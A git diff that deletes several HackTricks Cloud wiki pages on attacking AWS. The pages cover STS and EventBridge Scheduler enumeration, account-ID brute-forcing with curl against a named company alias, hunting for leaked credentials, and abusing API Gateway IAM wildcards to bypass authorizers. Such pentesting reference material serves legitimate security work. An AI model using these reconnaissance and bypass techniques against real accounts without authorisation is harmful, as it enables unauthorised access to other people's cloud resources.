-{% endhint %}
-
-#### Unauthenticated Access
-
-{% content-ref url="../aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md" %}
-[aws-sqs-unauthenticated-enum.md](../aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md)
-{% endcontent-ref %}
-
-#### Privilege Escalation
-
-{% content-ref url="../aws-privilege-escalation/aws-sqs-privesc.md" %}
-[aws-sqs-privesc.md](../aws-privilege-escalation/aws-sqs-privesc.md)
-{% endcontent-ref %}
-
-#### Post Exploitation
-
-{% content-ref url="../aws-post-exploitation/aws-sqs-post-exploitation.md" %}
-[aws-sqs-post-exploitation.md](../aws-post-exploitation/aws-sqs-post-exploitation.md)
-{% endcontent-ref %}
-
-#### Persistence
-
-{% content-ref url="../aws-persistence/aws-sqs-persistence.md" %}
-[aws-sqs-persistence.md](../aws-persistence/aws-sqs-persistence.md)
-{% endcontent-ref %}
-
-## References
-
-* https://docs.aws.amazon.com/cdk/api/v2/python/aws\_cdk.aws\_sqs/README.html
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md b/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md
deleted file mode 100644
index ad755d115..000000000
--- a/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md
+++ /dev/null
@@ -1,126 +0,0 @@
-# AWS - STS Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## STS
-
-**AWS Security Token Service (STS)** is primarily designed to issue **temporary, limited-privilege credentials**. These credentials can be requested for **AWS Identity and Access Management (IAM)** users or for authenticated users (federated users).
-
-Given that STS's purpose is to **issue credentials for identity impersonation**, the service is immensely valuable for **escalating privileges and maintaining persistence**, even though it might not have a wide array of options.
-
-### Assume Role Impersonation
-
-The action [AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) provided by AWS STS is crucial as it permits a principal to acquire credentials for another principal, essentially impersonating them. Upon invocation, it responds with an access key ID, a secret key, and a session token corresponding to the specified ARN.
-
-For Penetration Testers or Red Team members, this technique is instrumental for privilege escalation (as elaborated [**here**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole)). However, it's worth noting that this technique is quite conspicuous and may not catch an attacker off guard.
-
-#### Assume Role Logic
-
-In order to assume a role in the same account if the **role to assume is allowing specifically a role ARN** like in:
-
-```json
-{
-  "Version": "2012-10-17",
-  "Statement": [
-    {
-      "Effect": "Allow",
-      "Principal": {
-        "AWS": "arn:aws:iam::<acc_id>:role/priv-role"
-      },
-      "Action": "sts:AssumeRole",
-      "Condition": {}
-    }
-  ]
-}
-```
-
-The role **`priv-role`** in this case, **doesn't need to be specifically allowed** to assume that role (with that allowance is enough).
-
-However, if a role is allowing an account to assume it, like in:
-
-```json
-{
-  "Version": "2012-10-17",
-  "Statement": [
-    {
-      "Effect": "Allow",
-      "Principal": {
-        "AWS": "arn:aws:iam::<acc_id>:root"
-      },
-      "Action": "sts:AssumeRole",
-      "Condition": {}
-    }
-  ]
-}
-```
-
-The role trying to assume it will need a **specific `sts:AssumeRole` permission** over that role **to assume it**.
-
-If you try to assume a **role** **from a different account**, the **assumed role must allow it** (indicating the role **ARN** or the **external account**), and the **role trying to assume** the other one **MUST** to h**ave permissions to assume it** (in this case this isn't optional even if the assumed role is specifying an ARN).
-
-### Enumeration
-
-```bash
-# Get basic info of the creds
-aws sts get-caller-identity
-aws sts get-access-key-info --access-key-id <AccessKeyID>
-
-# Get CLI a session token with current creds
-## Using CLI creds
-## You cannot get session creds using session creds
-aws sts get-session-token
-## MFA
-aws sts get-session-token --serial-number <arn_device> --token-code <otp_code>
-```
-
-### Privesc
-
-In the following page you can check how to **abuse STS permissions to escalate privileges**:
-
-{% content-ref url="../aws-privilege-escalation/aws-sts-privesc.md" %}
-[aws-sts-privesc.md](../aws-privilege-escalation/aws-sts-privesc.md)
-{% endcontent-ref %}
-
-### Post Exploitation
-
-{% content-ref url="../aws-post-exploitation/aws-sts-post-exploitation.md" %}
-[aws-sts-post-exploitation.md](../aws-post-exploitation/aws-sts-post-exploitation.md)
-{% endcontent-ref %}
-
-### Persistence
-
-{% content-ref url="../aws-persistence/aws-sts-persistence.md" %}
-[aws-sts-persistence.md](../aws-persistence/aws-sts-persistence.md)
-{% endcontent-ref %}
-
-## References
-
-* [https://blog.christophetd.fr/retrieving-aws-security-credentials-from-the-aws-console/?utm\_source=pocket\_mylist](https://blog.christophetd.fr/retrieving-aws-security-credentials-from-the-aws-console/?utm_source=pocket_mylist)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md b/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md
deleted file mode 100644
index c90be6f1d..000000000
--- a/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md
+++ /dev/null
@@ -1,107 +0,0 @@
-# AWS - EventBridge Scheduler Enum
-
-## EventBridge Scheduler
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## EventBridge Scheduler
-
-**Amazon EventBridge Scheduler** is a fully managed, **serverless scheduler designed to create, run, and manage tasks** at scale. It enables you to schedule millions of tasks across over 270 AWS services and 6,000+ API operations, all from a central service. With built-in reliability and no infrastructure to manage, EventBridge Scheduler simplifies scheduling, reduces maintenance costs, and scales automatically to meet demand. You can configure cron or rate expressions for recurring schedules, set one-time invocations, and define flexible delivery windows with retry options, ensuring tasks are reliably delivered based on the availability of downstream targets.
-
-There is an initial limit of 1,000,000 schedules per region per account. Even the official quotas page suggests, "It's recommended to delete one-time schedules once they've completed."&#x20;
-
-### Types of Schedules
-
-Types of Schedules in EventBridge Scheduler:
-
-1. **One-time schedules** – Execute a task at a specific time, e.g., December 21st at 7 AM UTC.
-2. **Rate-based schedules** – Set recurring tasks based on a frequency, e.g., every 2 hours.
-3. **Cron-based schedules** – Set recurring tasks using a cron expression, e.g., every Friday at 4 PM.
-
-Two Mechanisms for Handling Failed Events:
-
-1. **Retry Policy** – Defines the number of retry attempts for a failed event and how long to keep it unprocessed before considering it a failure.
-2. **Dead-Letter Queue (DLQ)** – A standard Amazon SQS queue where failed events are delivered after retries are exhausted. DLQs help in troubleshooting issues with your schedule or its downstream target.
-
-### Targets
-
-There are 2 types of targets for a scheduler [**templated (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), which are commonly used and AWS made them easier to configure, and [**universal (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), which can be used to call any AWS API.
-
-**Templated targets** support the following services:
-
-* CodeBuild – StartBuild
-* CodePipeline – StartPipelineExecution
-* Amazon ECS – RunTask
-  * Parameters: EcsParameters
-* EventBridge – PutEvents
-  * Parameters: EventBridgeParameters
-* Amazon Inspector – StartAssessmentRun
-* Kinesis – PutRecord
-  * Parameters: KinesisParameters
-* Firehose – PutRecord
-* Lambda – Invoke
-* SageMaker – StartPipelineExecution
-  * Parameters: SageMakerPipelineParameters
-* Amazon SNS – Publish
-* Amazon SQS – SendMessage
-  * Parameters: SqsParameters
-* Step Functions – StartExecution
-
-### Enumeration
-
-```bash
-# List all EventBridge Scheduler schedules
-aws scheduler list-schedules
-
-# List all EventBridge Scheduler schedule groups
-aws scheduler list-schedule-groups
-
-# Describe a specific schedule to retrieve more details
-aws scheduler get-schedule --name <schedule_name>
-
-# Describe a specific schedule group
-aws scheduler get-schedule-group --name <group_name>
-
-# List tags for a specific schedule (helpful in identifying any custom tags or permissions)
-aws scheduler list-tags-for-resource --resource-arn <schedule_group_arn>
-```
-
-### Privesc
-
-In the following page, you can check how to **abuse eventbridge scheduler permissions to escalate privileges**:
-
-{% content-ref url="../aws-privilege-escalation/eventbridgescheduler-privesc.md" %}
-[eventbridgescheduler-privesc.md](../aws-privilege-escalation/eventbridgescheduler-privesc.md)
-{% endcontent-ref %}
-
-## References
-
-* [https://docs.aws.amazon.com/scheduler/latest/UserGuide/what-is-scheduler.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/what-is-scheduler.html)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md b/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md
deleted file mode 100644
index c999e66ce..000000000
--- a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md
+++ /dev/null
@@ -1,80 +0,0 @@
-# AWS - Unauthenticated Enum & Access
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## AWS Credentials Leaks
-
-A common way to obtain access or information about an AWS account is by **searching for leaks**. You can search for leaks using **google dorks**, checking the **public repos** of the **organization** and the **workers** of the organization in **Github** or other platforms, searching in **credentials leaks databases**... or in any other part you think you might find any information about the company and its cloud infa.\
-Some useful **tools**:
-
-* [https://github.com/carlospolop/leakos](https://github.com/carlospolop/leakos)
-* [https://github.com/carlospolop/pastos](https://github.com/carlospolop/pastos)
-* [https://github.com/carlospolop/gorks](https://github.com/carlospolop/gorks)
-
-## AWS Unauthenticated Enum & Access
-
-There are several services in AWS that could be configured giving some kind of access to all Internet or to more people than expected. Check here how:
-
-* [**Accounts Unauthenticated Enum**](aws-accounts-unauthenticated-enum.md)
-* [**Cloud9 Unauthenticated Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md)
-* [**Cloudfront Unauthenticated Enum**](aws-cloudfront-unauthenticated-enum.md)
-* [**Cloudsearch Unauthenticated Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md)
-* [**Cognito Unauthenticated Enum**](aws-cognito-unauthenticated-enum.md)
-* [**DocumentDB Unauthenticated Enum**](aws-documentdb-enum.md)
-* [**EC2 Unauthenticated Enum**](aws-ec2-unauthenticated-enum.md)
-* [**Elasticsearch Unauthenticated Enum**](aws-elasticsearch-unauthenticated-enum.md)
-* [**IAM Unauthenticated Enum**](aws-iam-and-sts-unauthenticated-enum.md)
-* [**IoT Unauthenticated Access**](aws-iot-unauthenticated-enum.md)
-* [**Kinesis Video Unauthenticated Access**](aws-kinesis-video-unauthenticated-enum.md)
-* [**Media Unauthenticated Access**](aws-media-unauthenticated-enum.md)
-* [**MQ Unauthenticated Access**](aws-mq-unauthenticated-enum.md)
-* [**MSK Unauthenticated Access**](aws-msk-unauthenticated-enum.md)
-* [**RDS Unauthenticated Access**](aws-rds-unauthenticated-enum.md)
-* [**Redshift Unauthenticated Access**](aws-redshift-unauthenticated-enum.md)
-* [**SQS Unauthenticated Access**](aws-sqs-unauthenticated-enum.md)
-* [**S3 Unauthenticated Access**](aws-s3-unauthenticated-enum.md)
-
-## Cross Account Attacks
-
-In the talk [**Breaking the Isolation: Cross-Account AWS Vulnerabilities**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) it's presented how some services allow(ed) any AWS account accessing them because **AWS services without specifying accounts ID** were allowed.
-
-During the talk they specify several examples, such as S3 buckets **allowing cloudtrai**l (of **any AWS** account) to **write to them**:
-
-![](<../../../.gitbook/assets/image (260).png>)
-
-Other services found vulnerable:
-
-* AWS Config
-* Serverless repository
-
-## Tools
-
-* [**cloud\_enum**](https://github.com/initstring/cloud_enum): Multi-cloud OSINT tool. **Find public resources** in AWS, Azure, and Google Cloud. Supported AWS services: Open / Protected S3 Buckets, awsapps (WorkMail, WorkDocs, Connect, etc.)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md b/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md
deleted file mode 100644
index e3a79d5b1..000000000
--- a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md
+++ /dev/null
@@ -1,71 +0,0 @@
-# AWS - Accounts Unauthenticated Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Account IDs
-
-If you have a target there are ways to try to identify account IDs of accounts related to the target.
-
-### Brute-Force
-
-You create a list of potential account IDs and aliases and check them
-
-```bash
-# Check if an account ID exists
-curl -v https://<acount_id>.signin.aws.amazon.com
-## If response is 404 it doesn't, if 200, it exists
-## It also works from account aliases
-curl -v https://vodafone-uk2.signin.aws.amazon.com
-```
-
-You can [automate this process with this tool](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py).
-
-### OSINT
-
-Look for urls that contains `<alias>.signin.aws.amazon.com` with an **alias related to the organization**.
-
-### Marketplace
-
-If a vendor has **instances in the marketplace,** you can get the owner id (account id) of the AWS account he used.
-
-### Snapshots
-
-* Public EBS snapshots (EC2 -> Snapshots -> Public Snapshots)
-* RDS public snapshots (RDS -> Snapshots -> All Public Snapshots)
-* Public AMIs (EC2 -> AMIs -> Public images)
-
-### Errors
-
-Many AWS error messages (even access denied) will give that information.
-
-## References
-
-* [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md b/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md
deleted file mode 100644
index 24abdac6e..000000000
--- a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md
+++ /dev/null
@@ -1,85 +0,0 @@
-# AWS - API Gateway Unauthenticated Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-### API Invoke bypass
-
-According to the talk [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), Lambda Authorizers can be configured **using IAM syntax** to give permissions to invoke API endpoints. This is taken [**from the docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html):
-
-```json
-{
-  "Version": "2012-10-17",
-  "Statement": [
-    {
-      "Effect": "Permission",
-      "Action": [
-        "execute-api:Execution-operation"           
-      ],
-      "Resource": [
-        "arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path"
-      ]
-    }
-  ]
-} 
-```
-
-The problem with this way to give permissions to invoke endpoints is that the **"\*" implies "anything"** and there is **no more regex syntax supported**.
-
-Some examples:
-
-* A rule such as `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` in order to give each user access to `/dashboard/user/{username}` will give them access to other routes such as `/admin/dashboard/createAdmin` for example.
-
-{% hint style="warning" %}
-Note that **"\*" doesn't stop expanding with slashes**, therefore, if you use "\*" in api-id for example, it could also indicate "any stage" or "any method" as long as the final regex is still valid.\
-So `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\
-Can validate a post request to test stage to the path `/prod/GET/dashboard/admin` for example.
-{% endhint %}
-
-You should always have clear what you want to allow to access and then check if other scenarios are possible with the permissions granted.
-
-For more info, apart of the [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), you can find code to implement authorizers in [**this official aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints).
-
-### IAM Policy Injection
-
-In the same [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE)it's exposed the fact that if the code is using **user input** to **generate the IAM policies**, wildcards (and others such as "." or specific strings) can be included in there with the goal of **bypassing restrictions**.
-
-### Public URL template
-
-```
-https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}
-```
-
-### Get Account ID from public API Gateway URL
-
-Just like with S3 buckets, Data Exchange and Lambda URLs gateways, It's possible to find the account ID of an account abusing the **`aws:ResourceAccount`** **Policy Condition Key** from a public API Gateway URL. This is done by finding the account ID one character at a time abusing wildcards in the **`aws:ResourceAccount`** section of the policy.\
-This technique also allows to get **values of tags** if you know the tag key (there some default interesting ones).
-
-You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md b/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md
deleted file mode 100644
index 8f553e9b7..000000000
--- a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md
+++ /dev/null
@@ -1,37 +0,0 @@
-# AWS - Cloudfront Unauthenticated Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-### Public URL template
-
-```
